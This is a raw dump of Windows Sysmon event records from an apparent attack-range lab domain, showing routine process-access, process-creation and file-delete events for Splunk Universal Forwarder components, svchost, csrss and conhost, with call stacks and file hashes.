10341000x800000000000000016078Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016077Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016076Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016075Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7223-613B-EE04-00000000F101}1684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016074Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016073Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.773{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7223-613B-EE04-00000000F101}1684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016072Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.775{625C326B-7223-613B-EE04-00000000F101}1684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016071Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.711{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBF82A0B4C0A54495A5A7BB03DB3E492,SHA256=A6002BBDFCCD5C781D2EAAF64B8CCC7F6599D97546C5EDBE236885C16D4D8F3D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016070Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.493{625C326B-7223-613B-ED04-00000000F101}6362316C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016069Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7223-613B-ED04-00000000F101}636C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016068Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016067Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016066Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016065Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016064Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016063Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016062Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016061Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016060Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016059Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7223-613B-ED04-00000000F101}636C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016058Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.258{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7223-613B-ED04-00000000F101}636C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016057Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:35.259{625C326B-7223-613B-ED04-00000000F101}636C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016100Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.930{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=020E5AD77C571D3D45A9E07F838DD764,SHA256=608C4B0ACF56AD829415877E5B44A320BB8249EDC1F7753EA8BE117E8F44FDDC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:36.006{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24CB85722B2B5E324AC7AC6FF0901927,SHA256=8C07D9BB015AAA617DBDC6860A659EE6893B0411FD090EAE8ADC5D678FF67C0C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016099Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7224-613B-EF04-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016098Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016097Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016096Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:36.430{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016095Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 